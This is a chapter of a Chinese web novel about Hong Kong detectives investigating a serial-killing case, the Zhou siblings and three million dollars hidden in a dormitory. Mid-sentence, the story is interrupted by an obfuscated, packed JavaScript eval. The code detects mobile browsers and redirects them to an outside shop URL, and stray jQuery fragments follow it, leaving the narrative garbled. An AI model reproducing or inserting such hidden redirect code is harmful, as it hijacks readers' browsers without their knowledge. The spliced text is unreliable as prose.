黎阳把他的顾虑讲出来，想要让大家集思广益，提前预测周停该有的反应和他们攻心的相应说法。


    “不太可能吧？”刘海洋有异议，“就算周停和周斌兄妹情深，在她知道周斌是害她受了这么多磨难的罪魁祸首之后，怎么可能还会替他顶罪呢？”


    郭廷杰：“怎么不可能，周停连她三个儿女都可以抛下，难不成区区三百万就能让她改变主意？”


    他查了很多周斌和周停过去的事，不得不说，刨除了周斌让周停顶罪一事，他待她这个妹妹的确非常好，少有的好。


    听说有一次周停被社团的人带走，是周斌不顾性命去把带出来的，那次他被打得在医院住了大半年。


    方棋否认道：“要是周斌真的对周停这个妹妹好的话，怎么舍得会让他替他顶罪呢？”


    反正方棋怎么也想不到会有周斌这样的好兄长，如果是他犯了事的话，宁愿自己坐牢也不会让妙妙替他顶罪。


    郭廷杰是知道方棋有多疼他妹妹，“对了，我们还发现周斌和蛟阳社的堂主暴龙来往密切，这蛟阳社就是当初程霸创立的霸王社，当初程霸死后，他手底下的几个堂主相互不服气，导致整个社团内乱，被其他社团吞并了不少地盘，还是现在的程武上位才安稳下来，暴龙就是他提拔起来的。”


    黎阳脸色有点怪，“暴龙？那个以打黑拳出名的暴龙？他不是在叁文社吗？”


    说起来怪也不怪。


    香江的几个大社团大多用斯文儒雅的名字，而一众小社团的名字多以霸道强横的称呼。


    或许是因为大社团本就势大，不需要名字加注士气，小社团势单力薄，就需要一个霸气的名字来鼓舞士气。


    而从这两个社团的名字就可以看出来，蛟阳社是个小社团，叁文社是大社团。


    一般大社团的混出名人要么就是洗白上岸，要么就是死寂江湖，绝对不会从大社团沦落到小社团当一个堂主。


    “对，头儿你知道他？”郭廷杰也是黎阳到了九龙总区才跟着他的。


    郭廷杰是下属，黎阳是上司，他没有那个资格查看黎阳的档案，但也听说过他的光辉往事。


    据说当初能在John升职为高级督察的时候，黎阳一力打败其他人调职进入九龙总区当见习督察，就是因为他在警方打击社团时立下了汗马功劳。


    “我以前在深水埗当差的时候认识他的，他那时候还是在叁文社开设的地下赌场当拳手。”黎阳点头，没过多提他和暴龙之间过去的恩恩怨怨，转而介绍了他这个人的性格秉性。


    “……他为人很讲义气，也很重感情，他有一个喜欢的青梅，被她老豆卖到石塘咀，他去当拳手就是想要尽快赚一笔钱把他青梅赎出来，他怎么会和周斌有来往？”


    郭廷杰：“他是说周斌想要加入蛟阳社，请他从中当介绍人。”


    黎阳先审讯的是周斌和周阿婆。


    周斌：“阿Sir你问我？我唔知啊，这钱不是在阿停的宿舍找到的吗？你们应该去问她，你们也知道我们是兄妹不假，但我们都这么大了，各自结婚生子了，哪怕是兄妹，我也不能贸贸然进入她的宿舍吧？我是真不知道她在宿舍里藏了这么大一笔钱。”


    李鹏远很用力的拍了拍桌子，“到了这个时候你还要骗阿sir，真的是谎话出口就来，这是当初周停被逮捕时的搜查记录，你可能不知道，当初除了收藏了你家和后山案发现场，我们还搜查了她的宿舍。”


    周斌眼神闪烁，但话还是那么‘强硬’，“真的吗？难道是有人把这笔钱故意藏到阿停宿舍？”


    “哦？你怎么会有这么样的猜测？”


    周斌惊讶道：“这不是阿sir你说的吗？虽然不是阿婷自己尝的，那肯定是别人觉得她被你们抓了，她的宿舍空出来了，就把钱藏到她那里去了。”


    “……”


    到了周阿婆，她是一问三不知，郭廷杰步步紧逼，她就捂着胸口装身体不舒服。


    周停看到这一破烂行李袋的三百万反应是黎阳他们没预测全的。


    她看到这笔钱很意外，可以看出她眼里的惊诧。


    负责审讯的黎阳和顾越对视一眼，黎阳率先发问道：“你知道这笔钱的存在？这钱是不是当初程霸死后霸王社失踪的五百万中的一部分？你知道我们是在哪里找到的吗？”


    “哪里？”


    “你的宿舍里。”


    周停很轻的说了一句，“原来这笔钱真的在他手里哈哈……”


    她的声音里充满了悲凉。


    “你想想你当初因为这笔钱受了多大的苦难，一切都是谁造成的，难道到了现在你都执迷不悟，还要替他顶罪吗？”


    周停抬头看向黎阳，眼里的绝望扑面而来，黎阳觉得她会松口，没想到得来的还是那一句，“阿Sir，我什么时候能过堂？”


    之后就闭口不言。


    五天时间眨眼就过，黎阳他们会查到更多关于周斌兄妹俩的事，但可能都是浮于表面的，不能戳中周停的心，她到现在还不改证词。


    而他们警署外面早在昨天就来了很多记者和受害人家属。


    昨天黎阳是让公共关系科那边出面暂时压下去，今天偷偷进门的时候还是被记者拦住了。


    “黎sir不是讲连环凶杀案的变态杀手已经被抓住了吗？点解警方还没有移交律政司提起诉讼？”


    “难不成这次的凶手又是警方某个高层的家属？或者有高层的关系？你们警方又不敢继续查下去？”


    两个又字显尽了记者对警方包庇自己人作风的嘲讽。


    “你怎么说话？”李鹏远脾气最急躁，指着说话的记者质问道。


    “阿Sir，你们这是被我戳中了心思恼羞成怒了吗？”


    那记者是一点都不怵，巴不得警方的人对他动手，他才能拍到更多有渲染的照片，写出更轰动的新闻。


    “……”


    黎暖在受害人家属里面看到了齐全的五家人，赵安的阿妈钱兰，何有才和何望才的父母妻女，被张鼎带过来的张阿婆，姚佳宁的先生陆丰收、公爹陆威和三个子女，关霖的阿妈张阿婆和两个女儿。


    看他们那急不可耐的模样都是想要让警方尽快让凶手伏法。


    黎暖觉得有点奇怪，这些人里面其他人她不太了解，但钱兰她在仁爱敬老院里见了不止一次，她对赵安这个儿子已经失望透顶，即使是去医院


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141601|180267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    认尸的时候都很冷静。


    怎么会出面为他讨公道呢？


    毕竟如果出现在记者的镜头下，她的过去很有可能会再被挖出来，她能承受那样的流言蜚语？


    还有何思凤，她年纪小又是青春期，正是自尊心最重的时候，在满脸凶像眼神仇恨的何家人里面显得有些格格不入，她的面容冷漠，眼神麻木。


    也对，何家小辈里来的就是她和何望才的女儿，何望才的小女儿才五岁，不懂在记者聚光灯下的意义。


    何思凤的处境黎暖也了解，别看这时候香江经济发展那么快速，但是大部分人他们的思想还没有转变过来，而且也没有什么义务教育。


    上学是一件很费钱的事，更别提大学了。


    也就是对当过村长的何有才家来说，上大学的花费只是小钱，


    但何家人也要在意村里人的意见。


    毕竟他家供孙女上大学是一笔小钱，但对其他人来说并不是。


    原本何有才是村长，他的女儿上大学只会让同龄的那些女孩子羡慕嫉妒，而不会共情到自己身上。


    现在何有才不是死了嘛，何思凤就是一个普通村民的孙女，她再上大学，就不是他自家的事了，而是整个村子女孩子瞩目的大事了。


    反正何思凤不准再考大学，她要是继续读下去勾得村里女孩子心思浮动，带坏自家女儿和家嫂怎么办？


    此风不可长。


    只要有影响自家安稳日子的风气一旦兴起，他们就会及时遏制住。


    至于这里面有没有某些人的私心和嫉妒就未可知。


    看何思凤现在在即将考大学这么重要的时刻还被何家人带出来，就可以看出何家人也并不太乐意她继续读下去。


    黎暖在黎阳被记者们围着采访的时候悄悄走到何思凤旁边把她悄然带出来。


    没有惊动任何人是因为她只在何思凤耳边说了一句话，就让她心甘情愿跟她走。


    这句话就是“跟我走，我有办法让你上大学。”


    黎阳好不容易摆脱记者的纠缠进入警署，就被早已等着的小警员喊住了，他通知黎阳John找他。


    郭廷杰皱眉，“John找你肯定是让你尽快结案移交律政司。”


    “放心，我不会妥协的，从我当上警察第一天开始，我就告诉自己绝不冤枉一个无辜的好人，也绝不放过一个作恶多端的坏人。”


    虽然在这件案子里，周停未必是全然无辜的好人，


    说完黎阳就往John办公室走去，他做好了挨骂的准备，反正他打定了主意就算John骂的再狠他也不妥协。


    是啊，他是立了军令状五天查不出真凶就把案子移交律政司。


    但他也算是找到了真正的嫌犯，只是还没有铁证证明他是真凶。


    没想到这次John倒是好说话得很，“继续查，如果什么人都能干扰我们警方执法，以为示威要挟就能左右司法公正，那要我们警方有何用？绝不能纵容此种不良风气。”


    “……Yes，sir。”


    得到支持答复的黎阳心沉了下。


    可能是最近老是听到故人，他最近时不时就想起以前的事。